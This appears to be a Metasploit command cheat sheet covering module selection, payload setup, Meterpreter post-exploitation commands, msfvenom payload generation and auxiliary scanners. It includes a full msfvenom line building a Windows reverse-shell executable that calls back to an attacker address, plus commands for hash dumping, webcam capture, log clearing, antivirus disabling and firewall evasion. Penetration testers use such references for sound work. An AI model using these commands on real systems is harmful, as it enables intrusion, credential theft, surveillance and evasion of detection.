Metasploit Cheat Sheet

Starting Metasploit

Command	Description
msfconsole	Start Metasploit Framework
msfupdate	Update the Metasploit Framework
msfd	Run the Metasploit Daemon
msfvenom	Standalone payload generator

Basic Commands

Command	Description
search <keyword>	Search for modules using a keyword
use <module>	Select a module (e.g., use exploit/windows/smb/ms17_010_eternalblue)
info <module>	Show information about a specific module
show options	Display the module’s configurable options
set <option> <value>	Set a specific option for the module
unset <option>	Unset an option (remove its value)
show payloads	List available payloads for the selected exploit
show targets	Show possible target systems for the selected exploit
set TARGET <id>	Set the specific target for the exploit
check	Verify if the target is vulnerable to the selected exploit
exploit	Launch the selected exploit
run	Execute the current module (alias for exploit)

Payloads and Exploit Execution

Command	Description
set PAYLOAD <payload>	Set the payload for the exploit (e.g., set PAYLOAD windows/meterpreter/reverse_tcp)
set LHOST <IP>	Set the local host (attacker’s IP address)
set LPORT <port>	Set the local port for the reverse connection
set RHOST <IP>	Set the remote host (target IP)
set RPORT <port>	Set the remote port for the target service
jobs	List all running jobs
jobs -K	Kill all running jobs
sessions	List all active sessions
sessions -i <id>	Interact with a specific session
exit -y	Exit Metasploit framework

Meterpreter Commands

Command	Description
background	Move the current session to the background
sysinfo	Display system information of the compromised host
getuid	Get the user ID of the session
getsystem	Attempt to elevate privileges
hashdump	Dump password hashes from the target
screenshot	Take a screenshot of the target’s desktop
webcam_snap	Take a snapshot using the target’s webcam
shell	Drop into a command shell on the target
download <file>	Download a file from the target
upload <file>	Upload a file to the target
clearev	Clear the target’s event logs
exit	Exit the Meterpreter session

Generating Payloads with MSFVenom

Command	Description
msfvenom -p <payload> LHOST=<IP> LPORT=<port> -f <format> -o <output file>	Generate a payload (e.g., msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe)
msfvenom --list payloads	List all available payloads
msfvenom --list formats	List all available output formats
msfvenom --list encoders	List available encoders

Post-Exploitation Modules

Command	Description
use post/windows/gather/credentials/enum_hashdump	Use post-exploitation module for dumping credentials
use post/windows/manage/killav	Disable antivirus software on the target
use post/multi/manage/autoroute	Add routes to compromised networks
run post/windows/gather/checkvm	Check if the target is a virtual machine

Auxiliary Modules

Command	Description
use auxiliary/scanner/portscan/tcp	Use the TCP port scanner module
use auxiliary/scanner/ftp/ftp_version	FTP version detection scanner
use auxiliary/scanner/http/http_version	HTTP version detection scanner
use auxiliary/scanner/smb/smb_version	SMB version detection scanner

Database Management

Command	Description
db_status	Check the status of the database
workspace <name>	Switch between Metasploit workspaces
hosts	List all discovered hosts
services	List all discovered services
vulns	List all known vulnerabilities
loot	List all collected loot

Bypassing Firewalls & IDS/IPS

Command	Description
setg LHOST <IP>	Set global LHOST value
setg LPORT <port>	Set global LPORT value
set PayloadUUIDTracking true	Enable UUID tracking for the payload
set AutoRunScript <script>	Automatically run a script when a session opens
set ReverseAllowProxy true	Enable reverse connections through proxies